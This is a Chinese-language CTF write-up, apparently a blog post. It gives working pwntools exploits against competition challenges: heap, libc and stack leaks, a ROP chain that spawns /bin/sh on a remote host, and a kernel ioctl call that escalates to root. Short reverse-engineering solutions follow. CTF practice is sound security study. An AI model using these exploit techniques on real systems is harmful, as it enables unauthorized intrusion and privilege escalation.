pal=p64(pop_rdi_ret)+p64(binsh_addr)+p64(ret_addr)+p64(system) edit(pal) show() sla(b'> ' ,b'aaa' ) sh.interactive()
leak_chain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; char v5; const char **buf; init(argc, argv, envp); read_flag(); warmup_heap(); buf = (const char **)create_user(); v4 = 0 ; while ( v4 != 1 ) { printf ("What is your name? " ); read(0 , buf, 0x28 uLL); printf ("Hello %s!\n" , (const char *)buf); puts ("Let me tell you something about yourself! :3" ); puts (buf[4 ]); printf ("Continue? (Y/n) " ); v5 = getchar(); if ( v5 == 110 || v5 == 78 ) v4 = 1 ; } puts ("Boom! Boom, boom, boom! I want YOU in my room!" ); destroy_user(buf); return 0 ; }
他的漏洞点很容易看出,就是一个指针读取和指针指向的内容的读取,puts的参数是字符串的地址
而flag就在bss段上,因此要间接泄露到flag的地址上
以为之前的warm_heap显然一个unsortedbin的泄露,因此libc泄露
泄露思路:
heap基址->libc基址->stack基址->bss基址
注意本stack和上题用的是同一种方法(__environ)
就成功获得flag了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *sh=remote("114.116.233.171" , 10003 ) libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.35-0ubuntu3.6_amd64/libc.so.6' ) sla = lambda x,y : sh.sendlineafter(x,y) sa = lambda x,y : sh.sendafter (x,y) ru = lambda x : sh.recvuntil (x) al = lambda x : sh.sendline (x) def debug (): gdb.attach(sh) pause() sh.sendline(b'A' * 32 ) sh.recvuntil(b'Hello ' ) sh.recvuntil(b'\n' ) heap_leak = (b'\x00' + sh.recvuntil(b'!\n' )[:-2 ]).ljust(8 , b'\x00' ) heap_leak = u64(heap_leak) info(f'heap leak: {hex (heap_leak)} ' ) libc_addr = heap_leak + 0x110 sh.sendafter(b'Continue?' , b'Y' ) sh.sendafter(b'name' , b'A' * 32 + p64(libc_addr)) sh.recvuntil(b':3\n' ) libc_leak = u64(sh.recv(6 ).ljust(8 , b'\x00' )) print ("libc_addr====>" ,hex (libc_leak))libc.address = libc_leak - 2208601 stack_addr = libc.symbols['__environ' ] sh.sendafter(b'Continue?' , b'Y' ) sh.sendafter(b'name' , b'A' * 32 + p64(stack_addr)) sh.recvuntil(b':3\n' ) stack_leak = u64(sh.recv(6 ).ljust(8 , b'\x00' )) print ("stack_addr===>" ,hex (stack_addr))r_addr = stack_leak - 0x150 print ('r_addr===>' ,hex (r_addr))sh.sendafter(b'Continue?' , b'Y' ) sh.sendafter(b'name' , b'A' * 32 + p64(r_addr)) sh.recvuntil(b':3\n' ) r_leak = u64(sh.recv(6 ).ljust(8 , b'\x00' )) print ('r_leak====>' ,hex (r_leak))flag_addr=r_leak+0x2d1e +36 print ('flag_addr===>' ,flag_addr)sh.sendafter(b'Continue?' , b'Y' ) sh.sendafter(b'name' , b'A' * 32 + p64(flag_addr)) sh.recvuntil(b':3\n' ) sh.interactive()
gogo 本题逆向难度很大,但是找对方法很重要
只需要通过cyclic找到偏移,就可以构造rop链getshell啦
当然构造也是一个难点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *sh=remote('114.116.233.171' ,10005 ) elf=ELF('./go_start' ) buf=208 *b'a' pop_rax_pop_rbp_ret=0x00000000004042d1 pop_rbp_ret=0x0000000000401031 pop_rbx_ret=0x0000000000446c41 pop_rcx_ret=0x0000000000412ac3 ret=0x0000000000401032 pop_rdx_ret=0x000000000040e0a9 mov_rdi_rcx_add_rsp_40_pop_rbp_ret=0x0000000000450f4f mov_rax_8_rcx_ret=0x000000000042ee0e syscall=0x0000000000463c49 moc_rsi_rcx_add_rsp_20_pop_rbp_ret=0x0000000000457c44 mov_rdx_rax_add_rsp_10h_pop_rbp_ret=0x00477d25 rop=buf rop+=p64(pop_rcx_ret) rop+=p64(0x68732f6e69622f ) rop+=p64(pop_rax_pop_rbp_ret) rop+=p64(elf.bss()-8 ) rop+=p64(0 ) rop+=p64(mov_rax_8_rcx_ret) rop+=p64(pop_rcx_ret) rop+=p64(elf.bss()) rop+=p64(mov_rdi_rcx_add_rsp_40_pop_rbp_ret) rop+=p64(0 )*9 rop+=p64(pop_rax_pop_rbp_ret) rop+=p64(0 )*2 rop+=p64(mov_rdx_rax_add_rsp_10h_pop_rbp_ret) rop+=p64(0 )*3 rop+=p64(pop_rax_pop_rbp_ret) rop+=p64(0x3b ) rop+=p64(0 ) rop+=p64(pop_rbx_ret) rop+=p64(0 ) rop+=p64(pop_rcx_ret) rop+=p64(0 ) rop+=p64(moc_rsi_rcx_add_rsp_20_pop_rbp_ret) rop+=p64(0 )*5 rop+=p64(syscall) print (rop)sh.recvuntil(b'would you like to play with me ?\n' ) sh.sendline(rop) sh.interactive()
不太娴熟,所以长了一点。。。
签到 如题,知道kernel便很简单
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall hello_ioctl (file *file, unsigned int cmd, unsigned __int64 arg) { __int64 v3; __int64 v5; _fentry__(file, cmd, arg); if ( v3 != 0x666 || cmd != 0xDEADBEEF ) return 0LL ; v5 = prepare_kernel_cred(0LL ); commit_creds(v5); return 0LL ; }
只需要达到两个条件,就能成功root了,v3是rdx,所以arg是v3
因此只要传入
1 ioctl(fd,0xDEADBEEF ,0x666 );
exp
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <fcntl.h> #include <stdlib.h> int main (int argc, char **argv, char *envp) { int dev_fd; dev_fd=open("/dev/hello" ,0x666 ); ioctl(dev_fd,0xDEADBEEF ,0x666 ); system('/bin/sh' ); return 0 ; }
Re 签到1 塞ida32里 shift+F12
签到2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main_0 (int argc, const char **argv, const char **envp) { char v4; size_t i; char Str1[104 ]; __CheckForDebuggerJustMyCode(&unk_41C029); sub_411037("%s" , (char )Str1); for ( i = 0 ; i < j_strlen(Str2); ++i ) Str1[i] ^= i; if ( !j_strcmp(Str1, Str2) ) sub_4110DC("WOW,YOU_ARE_RIGHT!" , v4); else puts ("WRONG!" ); system("pause" ); return 0 ; }
就是一个异或加密小程序
在vs里自己写一个反的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <iostream> #include <string> #include <string.h> using namespace std ; int main () { char str2[] = "FBVE\x7FLRXAZUNM^WPG^@X5h" ; int len = strlen (str2); for (int i = 0 ; i < len; i++) cout << (char )(str2[i] ^ i); system("pause" ); }
然后就
逆向工程=软件工程
一看这个就想到机器码就长这样,因此就觉得是一个elf文件,虽然checksec没check成功,估计是少一些关键的数据,把txt去掉塞ida里(记得把前面的话去掉,虽然不去掉txt也可以塞)
就成功了